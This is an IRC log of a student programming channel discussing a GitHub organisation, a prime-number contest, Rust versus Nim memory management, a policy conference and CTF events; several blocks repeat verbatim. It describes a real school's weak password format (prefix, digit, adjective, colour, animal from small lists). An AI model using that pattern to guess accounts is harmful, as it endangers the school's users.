[2015-02-27T00:06:54-0500] <+awe> hardmath123: She's been really busy, but she said next week she should be able to finish it.
[2015-02-27T00:07:07-0500] <+alokpathy> I can draw one
[2015-02-27T00:08:10-0500] <+awe> But yes, we'll have a github organization picture as soon as I get that.
[2015-02-27T00:09:25-0500] <hardmath123> :D
[2015-02-27T00:10:36-0500] <hardmath123> i haven't written any code in ages
[2015-02-27T00:20:05-0500] <+awe> hardmath123: did you see about my decision to keep you as a co-owner on the pdgn github organization?
[2015-02-27T00:20:52-0500] <hardmath123> no?
[2015-02-27T00:21:00-0500] <+awe> I mentioned it before.
[2015-02-27T00:21:05-0500] <+alokpathy> hardmath123: Congrats :D
[2015-02-27T00:21:07-0500] <hardmath123> i must have missed it
[2015-02-27T00:21:10-0500] <+awe> I moved Jacob into a group called Community Core Team
[2015-02-27T00:21:24-0500] <+awe> And added Hyper to it.
[2015-02-27T00:21:32-0500] <+awe> But I decided to leave you as co-owner.
[2015-02-27T00:22:06-0500] <hardmath123> yay
[2015-02-27T01:47:16-0500] <LittleBobbyTables> hardmath123: wanna write code again?
[2015-02-27T09:24:50-0500] <Hyper> Competition rules updated with submission details and the new submission date! https://github.com/Pdgn/programming-competitions/blob/master/01-nthprime/rules.md
[2015-02-27T10:25:25-0500] <+awe> Hyper: you can't tag posts as a user,
[2015-02-27T10:25:29-0500] <+awe> Hyper: you need to a member of the repository
[2015-02-27T10:25:35-0500] <Hyper> awe: goddammit
[2015-02-27T10:27:18-0500] <Hyper> awe: fine they'll just file issues and we'll tag 'em
[2015-02-27T10:32:08-0500] <+awe> Ok.
[2015-02-27T10:41:37-0500] <+awe> https://github.com/huonw/external_mixin#macro_rules-with-realer-programming-languages
[2015-02-27T10:41:38-0500] <+awe> Oh man.
[2015-02-27T10:56:18-0500] <+awe> Also, just going to throw this out there. Rust provides more safety than a GC.
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[2015-02-27T13:17:48-0500] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-02-26T22:59:42-0500] <+awe> Have you guys seen this shit?
[2015-02-26T22:59:52-0500] <+awe> I had to take this picture to prove to people that this is blue.
[2015-02-26T23:00:40-0500] <+alokpathy> ...???
[2015-02-26T23:01:00-0500] <+alokpathy> Why are they debating about a dress color?
[2015-02-26T23:01:28-0500] <calc0000> rekt
[2015-02-26T23:06:17-0500] <+awe> alokpathy: because it's some sort of social media debate.
[2015-02-26T23:06:25-0500] <+alokpathy> ....????
[2015-02-26T23:06:28-0500] <+alokpathy> I was not aware of this.
[2015-02-26T23:08:27-0500] <calc0000> i just saw this
[2015-02-26T23:08:30-0500] <calc0000> literally just now
[2015-02-26T23:08:32-0500] <calc0000> after awe mentioned it
[2015-02-26T23:08:42-0500] <+awe> Yeah.
[2015-02-26T23:08:44-0500] <+awe> It's EVERYWHERE.
[2015-02-26T23:09:28-0500] <+awe> It's because it's fucking with people's eyes.
[2015-02-26T23:09:35-0500] <+awe> It's entirely a focus thing.
[2015-02-26T23:12:32-0500] <calc0000> yeah
[2015-02-26T23:12:40-0500] <calc0000> the context around the dress messes with perception
[2015-02-26T23:12:48-0500] <calc0000> classic optical illusion
[2015-02-26T23:15:05-0500] <JacobEdelman_> Cool illusion
[2015-02-26T23:15:15-0500] <JacobEdelman_> Gnightv all
[2015-02-26T23:19:23-0500] <assface> i dont get it
[2015-02-26T23:20:09-0500] <hardmath123> It's like that thing with the zig-zags where it looks darker in one spot and lighter in another, but then they remove the thing in between and show that it's the same color.
[2015-02-26T23:21:57-0500] <+awe> hardmath123: Yeah, similar.
[2015-02-26T23:22:35-0500] <assface> i dont see it
[2015-02-27T00:05:02-0500] <hardmath123> awe: you should add an image for pdgn's github organization profile
[2015-02-27T00:05:20-0500] <hardmath123> did that person ever get back to you with a pidgey drawing?
[2015-02-27T00:06:54-0500] <+awe> hardmath123: She's been really busy, but she said next week she should be able to finish it.
[2015-02-27T00:07:07-0500] <+alokpathy> I can draw one
[2015-02-27T00:08:10-0500] <+awe> But yes, we'll have a github organization picture as soon as I get that.
[2015-02-27T00:09:25-0500] <hardmath123> :D
[2015-02-27T00:10:36-0500] <hardmath123> i haven't written any code in ages
[2015-02-27T00:20:05-0500] <+awe> hardmath123: did you see about my decision to keep you as a co-owner on the pdgn github organization?
[2015-02-27T00:20:52-0500] <hardmath123> no?
[2015-02-27T00:21:00-0500] <+awe> I mentioned it before.
[2015-02-27T00:21:05-0500] <+alokpathy> hardmath123: Congrats :D
[2015-02-27T00:21:07-0500] <hardmath123> i must have missed it
[2015-02-27T00:21:10-0500] <+awe> I moved Jacob into a group called Community Core Team
[2015-02-27T00:21:24-0500] <+awe> And added Hyper to it.
[2015-02-27T00:21:32-0500] <+awe> But I decided to leave you as co-owner.
[2015-02-27T00:22:06-0500] <hardmath123> yay
[2015-02-27T01:47:16-0500] <LittleBobbyTables> hardmath123: wanna write code again?
[2015-02-27T09:24:50-0500] <Hyper> Competition rules updated with submission details and the new submission date! https://github.com/Pdgn/programming-competitions/blob/master/01-nthprime/rules.md
[2015-02-27T10:25:25-0500] <+awe> Hyper: you can't tag posts as a user,
[2015-02-27T10:25:29-0500] <+awe> Hyper: you need to a member of the repository
[2015-02-27T10:25:35-0500] <Hyper> awe: goddammit
[2015-02-27T10:27:18-0500] <Hyper> awe: fine they'll just file issues and we'll tag 'em
[2015-02-27T10:32:08-0500] <+awe> Ok.
[2015-02-27T10:41:37-0500] <+awe> https://github.com/huonw/external_mixin#macro_rules-with-realer-programming-languages
[2015-02-27T10:41:38-0500] <+awe> Oh man.
[2015-02-27T10:56:18-0500] <+awe> Also, just going to throw this out there. Rust provides more safety than a GC.
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[2015-02-27T14:17:33-0500] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-02-26T22:59:52-0500] <+awe> I had to take this picture to prove to people that this is blue.
[2015-02-26T23:00:40-0500] <+alokpathy> ...???
[2015-02-26T23:01:00-0500] <+alokpathy> Why are they debating about a dress color?
[2015-02-26T23:01:28-0500] <calc0000> rekt
[2015-02-26T23:06:17-0500] <+awe> alokpathy: because it's some sort of social media debate.
[2015-02-26T23:06:25-0500] <+alokpathy> ....????
[2015-02-26T23:06:28-0500] <+alokpathy> I was not aware of this.
[2015-02-26T23:08:27-0500] <calc0000> i just saw this
[2015-02-26T23:08:30-0500] <calc0000> literally just now
[2015-02-26T23:08:32-0500] <calc0000> after awe mentioned it
[2015-02-26T23:08:42-0500] <+awe> Yeah.
[2015-02-26T23:08:44-0500] <+awe> It's EVERYWHERE.
[2015-02-26T23:09:28-0500] <+awe> It's because it's fucking with people's eyes.
[2015-02-26T23:09:35-0500] <+awe> It's entirely a focus thing.
[2015-02-26T23:12:32-0500] <calc0000> yeah
[2015-02-26T23:12:40-0500] <calc0000> the context around the dress messes with perception
[2015-02-26T23:12:48-0500] <calc0000> classic optical illusion
[2015-02-26T23:15:05-0500] <JacobEdelman_> Cool illusion
[2015-02-26T23:15:15-0500] <JacobEdelman_> Gnightv all
[2015-02-26T23:19:23-0500] <assface> i dont get it
[2015-02-26T23:20:09-0500] <hardmath123> It's like that thing with the zig-zags where it looks darker in one spot and lighter in another, but then they remove the thing in between and show that it's the same color.
[2015-02-26T23:21:57-0500] <+awe> hardmath123: Yeah, similar.
[2015-02-26T23:22:35-0500] <assface> i dont see it
[2015-02-27T00:05:02-0500] <hardmath123> awe: you should add an image for pdgn's github organization profile
[2015-02-27T00:05:20-0500] <hardmath123> did that person ever get back to you with a pidgey drawing?
[2015-02-27T00:06:54-0500] <+awe> hardmath123: She's been really busy, but she said next week she should be able to finish it.
[2015-02-27T00:07:07-0500] <+alokpathy> I can draw one
[2015-02-27T00:08:10-0500] <+awe> But yes, we'll have a github organization picture as soon as I get that.
[2015-02-27T00:09:25-0500] <hardmath123> :D
[2015-02-27T00:10:36-0500] <hardmath123> i haven't written any code in ages
[2015-02-27T00:20:05-0500] <+awe> hardmath123: did you see about my decision to keep you as a co-owner on the pdgn github organization?
[2015-02-27T00:20:52-0500] <hardmath123> no?
[2015-02-27T00:21:00-0500] <+awe> I mentioned it before.
[2015-02-27T00:21:05-0500] <+alokpathy> hardmath123: Congrats :D
[2015-02-27T00:21:07-0500] <hardmath123> i must have missed it
[2015-02-27T00:21:10-0500] <+awe> I moved Jacob into a group called Community Core Team
[2015-02-27T00:21:24-0500] <+awe> And added Hyper to it.
[2015-02-27T00:21:32-0500] <+awe> But I decided to leave you as co-owner.
[2015-02-27T00:22:06-0500] <hardmath123> yay
[2015-02-27T01:47:16-0500] <LittleBobbyTables> hardmath123: wanna write code again?
[2015-02-27T09:24:50-0500] <Hyper> Competition rules updated with submission details and the new submission date! https://github.com/Pdgn/programming-competitions/blob/master/01-nthprime/rules.md
[2015-02-27T10:25:25-0500] <+awe> Hyper: you can't tag posts as a user,
[2015-02-27T10:25:29-0500] <+awe> Hyper: you need to a member of the repository
[2015-02-27T10:25:35-0500] <Hyper> awe: goddammit
[2015-02-27T10:27:18-0500] <Hyper> awe: fine they'll just file issues and we'll tag 'em
[2015-02-27T10:32:08-0500] <+awe> Ok.
[2015-02-27T10:41:37-0500] <+awe> https://github.com/huonw/external_mixin#macro_rules-with-realer-programming-languages
[2015-02-27T10:41:38-0500] <+awe> Oh man.
[2015-02-27T10:56:18-0500] <+awe> Also, just going to throw this out there. Rust provides more safety than a GC.
[2015-02-27T14:16:36-0500] <JacobEdelman_> awe: I'm just gonna throw this out there. Nim doesn't even need a GC.
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[2015-02-27T14:18:07-0500] <+awe> JacobEdelman_: Yes it does?
[2015-02-27T14:18:19-0500] <+awe> JacobEdelman_: The standard library is dependent on the GC.
[2015-02-27T14:18:23-0500] <+awe> JacobEdelman_: Same thing with D.
[2015-02-27T14:18:38-0500] <JacobEdelman_> nah
[2015-02-27T14:18:41-0500] <+awe> JacobEdelman_: You can opt-out for some code, but either way, Nim doesn't provide the same safety guarantees that Rust does.
[2015-02-27T14:19:42-0500] <JacobEdelman_> nim  compile --gc=None
[2015-02-27T14:19:47-0500] <JacobEdelman_> who cares about "saftey"
[2015-02-27T14:19:50-0500] <+awe> ...
[2015-02-27T14:19:53-0500] <JacobEdelman_> :P
[2015-02-27T14:19:57-0500] <JacobEdelman_> (just trolling)
[2015-02-27T14:19:59-0500] <+awe> --gc=None means it memory leaks everything.
[2015-02-27T14:20:06-0500] <+awe> That doesn't mean it doesn't need it.
[2015-02-27T14:20:09-0500] <+awe> That just means it's not using it.
[2015-02-27T14:20:09-0500] <+awe> :p
[2015-02-27T14:20:13-0500] <JacobEdelman_> wait
[2015-02-27T14:20:21-0500] <JacobEdelman_> besides ram usage
[2015-02-27T14:20:33-0500] <JacobEdelman_> is turning off gc a problem?
[2015-02-27T14:20:41-0500] <+awe> Probably not.
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[2015-02-27T14:21:04-0500] <JacobEdelman_> hmmm...
[2015-02-27T14:21:05-0500] <+awe> Unless you have something like a buffered writer to a file that's only written at destruction.
[2015-02-27T14:21:14-0500] <+awe> Basically, any behavior that depends on destruction will break.
[2015-02-27T14:21:18-0500] <JacobEdelman_> well
[2015-02-27T14:21:25-0500] <JacobEdelman_> those behaviors are weird
[2015-02-27T14:21:49-0500] <+awe> Indeed, it's a rather atypical set of behaviors, and it's probably not good code.
[2015-02-27T14:22:13-0500] <+awe> It's generally better for destruction to only do the things necessary to allow destruction.
[2015-02-27T14:22:30-0500] <+awe> Well, to allow deallocation.
[2015-02-27T14:23:00-0500] <+awe> The bigger issue with turning off the GC is definitely that you'll run out of memory very soon.
[2015-02-27T14:23:15-0500] <+awe> It's explicitly executing a program that you know memory leaks everything.
[2015-02-27T14:33:37-0500] <+awe> Fill: I took cargo doc out of the travis script for now since there's no point in reporting it broken when we know that that's an issue.
[2015-02-27T14:37:20-0500] <+awe> JacobEdelman_: when are you going to a) accept the invitation to Pdgn again on GitHub and b) post your reference?
[2015-02-27T14:37:36-0500] <JacobEdelman_> oh wait
[2015-02-27T14:37:41-0500] <JacobEdelman_> I need toa ccept?
[2015-02-27T14:37:42-0500] <JacobEdelman_> okay
[2015-02-27T14:38:02-0500] <JacobEdelman_> accepted
[2015-02-27T14:38:09-0500] <JacobEdelman_> will post refrence implemtnation eventually
[2015-02-27T14:38:26-0500] <+awe> Should do it soon.
[2015-02-27T14:38:41-0500] <JacobEdelman_> Jacob lazy
[2015-02-27T14:39:19-0500] <+awe> "Programs that generate incorrect solutions will be disqualified."
[2015-02-27T14:39:20-0500] <+awe> lol
[2015-02-27T14:39:30-0500] <+awe> there goes my plan to have nth_prime just be return 2.
[2015-02-27T14:39:48-0500] <+awe> fn nth_prime(n: u32) -> u32 { 2 }
[2015-02-27T14:39:52-0500] <+awe> I did it.
[2015-02-27T14:39:56-0500] <+awe> It's lightning fast.
[2015-02-27T14:40:01-0500] <+awe> So fast, in fact, that it probably gets inlined.
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[2015-02-27T15:11:02-0500] <+awe> http://www.pornhub.com/devices/wankband
[2015-02-27T15:11:04-0500] <+awe> Oh my gosh.
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[2015-02-27T15:12:34-0500] <hardmath123> ^^ Probably not worth clicking from a school computer.
[2015-02-27T15:12:38-0500] <+awe> Probably not.
[2015-02-27T15:12:49-0500] <+awe> It's a kinetic charger armband.
[2015-02-27T15:13:07-0500] <+awe> The technology is not interesting at all, but the marketing is great.
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[2015-02-27T22:25:49-0500] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-02-27T16:32:58-0500] <Hyper> I didn't see the mention
[2015-02-27T16:33:04-0500] <Hyper> is it at poly?
[2015-02-27T16:33:13-0500] <Hyper> or main campus?
[2015-02-27T16:34:05-0500] <JacobEdelman_> http://www.law.nyu.edu/centers/ili/AlgorithmsConference
[2015-02-27T16:34:40-0500] <Hyper> main campus
[2015-02-27T16:34:41-0500] <Hyper> laaaaaame
[2015-02-27T16:34:46-0500] <JacobEdelman_> hey
[2015-02-27T16:34:57-0500] <JacobEdelman_> I'm traveling all the way from nj a day in advance
[2015-02-27T16:35:05-0500] <JacobEdelman_> surely you can get yourself to main campus
[2015-02-27T16:35:32-0500] <Hyper> laaaaaame
[2015-02-27T16:35:52-0500] <JacobEdelman_> well, I'm gonna enjoy being the youngest person there by about 6 years
[2015-02-27T16:35:54-0500] <Hyper> poly is much cooler
[2015-02-27T16:36:06-0500] <JacobEdelman_> (I've seen few undergraduates at these conferences)
[2015-02-27T16:36:53-0500] <JacobEdelman_> well, sorry
[2015-02-27T19:30:15-0500] <grantwu> JacobEdelman_ : stock android has tethering too I think
[2015-02-27T19:30:24-0500] <grantwu> As long as you get something untainted by carriers
[2015-02-27T19:30:28-0500] <grantwu> *operators
[2015-02-27T19:35:57-0500] <JacobEdelman_> Most phones don't
[2015-02-27T19:36:03-0500] <JacobEdelman_> That is all I know
[2015-02-27T19:42:36-0500] <grantwu> Yeah... need a nexus from google :/
[2015-02-27T19:42:44-0500] <grantwu> For stock android to have tethering
[2015-02-27T19:55:03-0500] <adunna> http://52.10.107.64:8001/index.txt
[2015-02-27T19:56:41-0500] <Hyper> adunna: neat
[2015-02-27T19:56:51-0500] <Hyper> so you need to find an sha collision
[2015-02-27T20:05:20-0500] <adunna> nope
[2015-02-27T20:05:32-0500] <adunna> good luck doing that
[2015-02-27T20:05:50-0500] <adunna> it depends on the parameters you pass
[2015-02-27T20:05:56-0500] <adunna> the types of them
[2015-02-27T20:14:42-0500] <grantwu> hashcat?
[2015-02-27T20:20:09-0500] <Kent> I'm enjoying bkp so far
[2015-02-27T20:21:37-0500] <adunna> @Kent what team?
[2015-02-27T20:21:42-0500] <Kent> nyusec
[2015-02-27T20:22:13-0500] <adunna> nice
[2015-02-27T20:22:19-0500] <adunna> im doing that psng right now
[2015-02-27T20:22:26-0500] <adunna> *prng
[2015-02-27T20:32:41-0500] <adunna> just figured it out :)
[2015-02-27T20:36:10-0500] <Hyper> Kent: you go to NYU?
[2015-02-27T20:36:22-0500] <Hyper> CAS or Poly?
[2015-02-27T20:36:40-0500] <Hyper> (I'm assuming you're in engineering or CS)
[2015-02-27T20:41:08-0500] <hardmath123> http://hardmath123.github.io/hilbert.html
[2015-02-27T21:01:42-0500] <JacobEdelman_> Kent: where did you hear about pdgn from?
[2015-02-27T21:01:46-0500] <Kent> Tamini
[2015-02-27T21:01:52-0500] <Kent> I've been here before
[2015-02-27T21:11:04-0500] <Hyper> Kent: no reply, I see how it is :|
[2015-02-27T21:12:16-0500] <Kent> oh whoops
[2015-02-27T21:12:19-0500] <Kent> I didn't even see it
[2015-02-27T21:12:47-0500] <Kent> I'm going to poly 
[2015-02-27T21:12:51-0500] <Hyper> Kent: wooo
[2015-02-27T21:12:52-0500] <Kent> after I graduate
[2015-02-27T21:13:01-0500] <Hyper> Kent: I'm a freshman at poly
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[2015-02-28T00:12:36-0500] <Hyper> https://www.dropbox.com/s/tx2251nl05bfi2n/0709.1539v1.pdf?dl=0 seems slightly relevant to the current competition :D
[2015-02-28T00:30:25-0500] <grantwu> Uh
[2015-02-28T00:31:04-0500] <grantwu> It seems fishy
[2015-02-28T00:34:11-0500] <+awe> So did your mother last night, but I mean, I still went for it.
[2015-02-28T00:34:19-0500] <+awe> rekt{
[2015-02-28T00:35:17-0500] <grantwu> .-.
[2015-02-28T00:37:03-0500] <+awe> I kid, I kid.
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[2015-02-28T09:06:25-0500] <JacobEdelman_> I have rearrived
[2015-02-28T09:06:32-0500] <JacobEdelman_> Hyper: I haz your internets
[2015-02-28T09:06:37-0500] <JacobEdelman_> at the conference now
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[2015-02-28T10:25:34-0500] <JacobEdelman_> a talker just quoted michael jackson ... the requirements engineer
[2015-02-28T10:27:00-0500] <JacobEdelman_> also, even at conferences like this, it seems twitter can be a bit dumb
[2015-02-28T10:27:07-0500] <JacobEdelman_> some tweets directly contradict events
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[2015-02-28T11:34:28-0500] <JacobEdelman_> current talk is
[2015-02-28T11:34:45-0500] <JacobEdelman_> You are a Political Junkie and Felon Who Loves Blenders
[2015-02-28T11:34:51-0500] <JacobEdelman_> thats the title
[2015-02-28T11:34:54-0500] <JacobEdelman_> :)
[2015-02-28T11:37:29-0500] <+alokpathy> How'd you know? :|
[2015-02-28T11:39:57-0500] <JacobEdelman_> these people are obssesed by 2x2 tables
[2015-02-28T11:40:10-0500] <JacobEdelman_> 3rd one so far
[2015-02-28T11:43:42-0500] <JacobEdelman_> speaker just admitted he got parts of his talk (anecotes he used) from redit
[2015-02-28T11:43:43-0500] <JacobEdelman_> lol
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[2015-02-28T12:09:30-0500] <JacobEdelman_> speaker just asked
[2015-02-28T12:10:03-0500] <JacobEdelman_> "which of the 4 fair use factors [for copyrighting] includes risk of complete extinction of humanity [by AI]"
[2015-02-28T12:10:17-0500] <JacobEdelman_> he was talking about fair use for programs using content (alla google books)
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[2015-02-28T13:52:23-0500] <JacobEdelman_> awe: hmm... I might write up a post on the disconnect between policy and CS 
[2015-02-28T13:52:23-0500] <JacobEdelman_> for the pdgn blog
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[2015-02-28T15:56:05-0500] <JacobEdelman_> WOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO!
[2015-02-28T16:00:28-0500] <JacobEdelman_> Wooooooooooo!
[2015-02-28T16:20:38-0500] <JacobEdelman_> WOOOO!
[2015-02-28T16:20:45-0500] <JacobEdelman_> someone ask me why I'm wooing
[2015-02-28T16:24:18-0500] <+alokpathy> JacobEdelman_: Is it because you're going to write a post on the disconnect between policy and CS?
[2015-02-28T16:24:24-0500] <JacobEdelman_> no
[2015-02-28T16:24:26-0500] <JacobEdelman_> so much cooler
[2015-02-28T16:24:32-0500] <JacobEdelman_> so, I'm at this conference right?
[2015-02-28T16:24:37-0500] <JacobEdelman_> and they have an educaiton panel
[2015-02-28T16:24:55-0500] <JacobEdelman_> so I ask a quesiton (quite a good and detailed question if I may say so, and I may) 
[2015-02-28T16:25:06-0500] <JacobEdelman_> about the lack of security in schools (in my own personal experince0
[2015-02-28T16:25:07-0500] <JacobEdelman_> )
[2015-02-28T16:25:09-0500] <JacobEdelman_> afterwards
[2015-02-28T16:25:12-0500] <JacobEdelman_> an nyc reporter
[2015-02-28T16:25:22-0500] <JacobEdelman_> *nytimes reporter
[2015-02-28T16:25:25-0500] <JacobEdelman_> comes up to me
[2015-02-28T16:25:28-0500] <JacobEdelman_> and asks to interview me
[2015-02-28T16:25:30-0500] <JacobEdelman_> hence
[2015-02-28T16:25:33-0500] <JacobEdelman_> WOOOOOOOOOOOOOOOOOOOOOOO!
[2015-02-28T16:26:09-0500] <hardmath123> Nice.
[2015-02-28T16:26:40-0500] <+alokpathy> Oh cool.
[2015-02-28T16:27:27-0500] <JacobEdelman_> so it was a totally justified wooo
[2015-02-28T16:28:54-0500] <hardmath123> Indeed.
[2015-02-28T16:31:47-0500] <grantwu> Lack of security in schools?
[2015-02-28T16:31:50-0500] <grantwu> What sort of security?
[2015-02-28T16:33:05-0500] <JacobEdelman_> cyber
[2015-02-28T16:33:11-0500] <JacobEdelman_> not like, alarm systems :P
[2015-02-28T16:34:01-0500] <grantwu> What is it that ought to be secured that isn't secured?
[2015-02-28T16:42:59-0500] <JacobEdelman_> lots of stuffs, busy right now so I can't talk much
[2015-02-28T16:43:32-0500] <JacobEdelman_> (look at hsctf problem 9 fuzzy yellow sheep or whatever for a sample of our password system)
[2015-02-28T16:47:09-0500] <+alokpathy> grantwu: Well, one thing is that
[2015-02-28T16:47:17-0500] <+alokpathy> so, passwords in our school are in the form
[2015-02-28T16:48:15-0500] <+alokpathy> WWP(number)(adjective)(color)(animal)
[2015-02-28T16:48:28-0500] <+alokpathy> The number is a digit
[2015-02-28T16:48:37-0500] <+alokpathy> and the number of adjectives, colors, and animals on the master list is small
[2015-02-28T16:48:44-0500] <+alokpathy> I don't remember the exact number, but it was really small.
[2015-02-28T16:49:43-0500] <grantwu> Ah...
[2015-02-28T16:49:59-0500] <grantwu> Yes letting users change their password is a good idea...
[2015-02-28T16:55:16-0500] <JacobEdelman_> 8/9 I think
[2015-02-28T16:55:53-0500] <JacobEdelman_> (Just generating better passwords is also a good idea)
[2015-02-28T16:56:20-0500] <grantwu> Well yes they should be better by default
[2015-02-28T16:56:23-0500] <grantwu> 8/9 what?
[2015-02-28T16:56:29-0500] <grantwu> Oh the number?
[2015-02-28T16:56:33-0500] <JacobEdelman_> Yes
[2015-02-28T16:56:49-0500] <grantwu> (Oh by the way I should probably admit that you were right about passphrases)
[2015-02-28T16:57:04-0500] <grantwu> (We had an argument about them the first summer of PACT.  or was it the second.  I forget)
[2015-02-28T16:57:18-0500] <grantwu> (I now use a passphrase for my CMU account.)
[2015-02-28T16:57:25-0500] <grantwu> (However I couldn't remember it for the first week.)
[2015-02-28T16:57:44-0500] <grantwu> That's like... 16 bits of entropy
[2015-02-28T16:57:57-0500] <grantwu> No, it's less
[2015-02-28T16:57:59-0500] <grantwu> sigh
[2015-02-28T16:59:34-0500] <grantwu> So many solved problems
[2015-02-28T16:59:45-0500] <grantwu> Being solved over and over again imperfectly
[2015-02-28T18:23:45-0500] <JacobEdelman_> so
[2015-02-28T18:23:45-0500] <JacobEdelman_> you using a sentence password now?
[2015-02-28T18:23:45-0500] <JacobEdelman_> or just random words?
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[2015-02-28T18:24:24-0500] <JacobEdelman_> alok just mistyped "okay" as "plau"
[2015-02-28T18:25:15-0500] <+alokpathy> My right-handed was shifted over to the right  by a key.
[2015-02-28T18:38:12-0500] <JacobEdelman_> plau
[2015-02-28T18:38:29-0500] <JacobEdelman_> fine, I jesus you
[2015-02-28T18:38:59-0500] <JacobEdelman_> grantwu: wait, did you come to nyc with us? (and hence do you know what "jesus" means)
[2015-02-28T18:42:18-0500] <+alokpathy> JacobEdelman_: I did, but I don't know what that means...
[2015-02-28T18:42:20-0500] <+alokpathy> and he did too.
[2015-02-28T18:42:27-0500] <JacobEdelman_> ...
[2015-02-28T18:42:36-0500] <JacobEdelman_> remember polylingual telephone
[2015-02-28T18:42:42-0500] <+alokpathy> OMG
[2015-02-28T18:42:45-0500] <JacobEdelman_> 8on failing?
[2015-02-28T18:42:49-0500] <+alokpathy> THAT GAME
[2015-02-28T18:42:57-0500] <+alokpathy> What'd it start off as?
[2015-02-28T18:45:04-0500] <JacobEdelman_> excuse me
[2015-02-28T18:45:10-0500] <JacobEdelman_> ended up as "a man crossing"
[2015-02-28T18:45:22-0500] <JacobEdelman_> 8on translated excuse me to "something jesus would do"
[2015-02-28T18:45:33-0500] <JacobEdelman_> after that it was translated to
[2015-02-28T18:45:51-0500] <JacobEdelman_> "that guy in the chruch with the cross"
[2015-02-28T18:45:57-0500] <JacobEdelman_> than "that guy with the cross"
[2015-02-28T18:45:59-0500] <JacobEdelman_> and finally
[2015-02-28T18:46:06-0500] <JacobEdelman_> "a man crossing"
[2015-02-28T18:46:10-0500] <JacobEdelman_> or something like that
[2015-02-28T18:46:26-0500] <JacobEdelman_> hence "please jesus me" = "please excuse me"
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[2015-02-28T18:48:03-0500] <[sar]chrissing> ok
[2015-02-28T18:48:06-0500] <[sar]chrissing> im here
[2015-02-28T18:49:58-0500] <+alokpathy> [sar]chrissing: Welcome to pdgn
[2015-02-28T18:50:00-0500] <+alokpathy> :D
[2015-02-28T18:50:29-0500] <[sar]chrissing> is this were i can get a hint for acoustician or deceptive ports?
[2015-02-28T18:50:35-0500] <+alokpathy> wat
[2015-02-28T18:50:36-0500] <+alokpathy> no
[2015-02-28T18:50:39-0500] <[sar]chrissing> wow
[2015-02-28T18:50:40-0500] <+alokpathy> Did JacobEdelman_ tell you that?
[2015-02-28T18:50:40-0500] <[sar]chrissing> ok
[2015-02-28T18:50:42-0500] <[sar]chrissing> yes
[2015-02-28T18:50:48-0500] <+alokpathy> JacobEdelman_: >:|
[2015-02-28T18:50:51-0500] <[sar]chrissing> he said it couldnt be public
[2015-02-28T18:51:05-0500] <[sar]chrissing> and that this place was private
[2015-02-28T18:51:06-0500] <+alokpathy> ...
[2015-02-28T18:51:19-0500] <+alokpathy> And PM wasn't a good idea for that?
[2015-02-28T18:51:31-0500] [sar]chrissing ([sar]chriss@pdgn-4bo.anv.ab6jb6.IP) left the channel ("OWOW ACOUSTICIAN IS SOO FUCKING HARD AND I NEED SOM HALP")
[2015-02-28T18:51:52-0500] <+alokpathy> JacobEdelman_: I thought you invited somebody to join .-.
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[2015-02-28T18:55:58-0500] <[sar]chrissing> im back just in case you change your mind
[2015-02-28T18:56:27-0500] <Hyper> [sar]chrissing: What is your quest?
[2015-02-28T18:56:38-0500] <Hyper> (plz answer right)
[2015-02-28T18:57:02-0500] <[sar]chrissing> my quest? to kill fucking sid
[2015-02-28T18:57:18-0500] <Hyper> that's not the right answer, I thought you might be cool :(
[2015-02-28T18:57:31-0500] <[sar]chrissing> sorry
[2015-02-28T18:57:36-0500] <Hyper> nobody gets my obvious monty python references
[2015-02-28T18:57:41-0500] • Hyper: dies
[2015-02-28T18:57:46-0500] <[sar]chrissing> never seen it
[2015-02-28T18:57:52-0500] <Hyper> well there's your problem
[2015-02-28T18:57:52-0500] <[sar]chrissing> looked sorta dumb
[2015-02-28T18:58:02-0500] <[sar]chrissing> i dont like that type of comedy 
[2015-02-28T18:58:07-0500] <Hyper> :(
[2015-02-28T19:05:18-0500] <JacobEdelman_> I got the reference
[2015-02-28T19:05:46-0500] <JacobEdelman_> But DUI you watch Fry and Laury or Blackadder?
[2015-02-28T19:06:03-0500] <JacobEdelman_> *do you not DUI
[2015-02-28T19:06:11-0500] <[sar]chrissing> i have seen blackadder
[2015-02-28T19:06:31-0500] <JacobEdelman_> Wait all of it?
[2015-02-28T19:06:41-0500] <[sar]chrissing> only becauseRowan Atkinson is cool
[2015-02-28T19:06:48-0500] <JacobEdelman_> Yes he is
[2015-02-28T19:06:48-0500] <[sar]chrissing> yea 
[2015-02-28T19:07:33-0500] <JacobEdelman_> Fry is the general in the last season and Laurie isr the Duke in the third
[2015-02-28T19:07:47-0500] <JacobEdelman_> They did a show together that is amazing
[2015-02-28T19:07:57-0500] <[sar]chrissing> is it on netflix?
[2015-02-28T19:08:06-0500] <JacobEdelman_> I don't know
[2015-02-28T19:08:20-0500] <JacobEdelman_> I think it is
[2015-02-28T19:08:54-0500] <JacobEdelman_> Wait now I have to make flashheart references
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[2015-02-28T20:05:01-0500] <failedxyz> hei
[2015-02-28T20:05:32-0500] <[sar]chrissing> hi
[2015-02-28T20:12:12-0500] <+alokpathy> Hiya
[2015-02-28T20:12:48-0500] <[sar]chrissing> alokpathy why arent you o the channel?
[2015-02-28T20:12:58-0500] <+alokpathy> [sar]chrissing: I have to do work.
[2015-02-28T20:13:28-0500] <[sar]chrissing> there is a whole bunch of flag shring cause there is no admin...
[2015-02-28T20:13:33-0500] <+alokpathy> wat
[2015-02-28T20:13:35-0500] <+alokpathy> wtf
[2015-02-28T20:13:45-0500] <failedxyz> lolol
[2015-02-28T20:13:46-0500] <failedxyz> gg
[2015-02-28T20:14:11-0500] <[sar]chrissing> 0 control over there
[2015-02-28T20:14:24-0500] <failedxyz> G.G
[2015-02-28T20:15:17-0500] <+alokpathy> [sar]chrissing: Can I see the logs?
[2015-02-28T20:15:22-0500] <[sar]chrissing> i was joking
[2015-02-28T20:15:28-0500] <[sar]chrissing> i just wanted you on the chat
[2015-02-28T20:15:31-0500] <+alokpathy> :|
[2015-02-28T20:15:33-0500] <+alokpathy> d00d
[2015-02-28T20:15:36-0500] <[sar]chrissing> cause there was no other admins
[2015-02-28T20:15:40-0500] <+alokpathy> Jacob's there.
[2015-02-28T20:15:54-0500] <[sar]chrissing> he didnt answer until now :\
[2015-02-28T20:15:57-0500] <[sar]chrissing> sorry
[2015-02-28T20:15:59-0500] <+alokpathy> deng
[2015-02-28T20:16:01-0500] <+alokpathy> It's fine.
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[2015-02-28T20:54:26-0500] <failedxyz> lol i have the two best usernames on the sctf chat
[2015-02-28T20:56:05-0500] <[sar]chrissing> what is it?
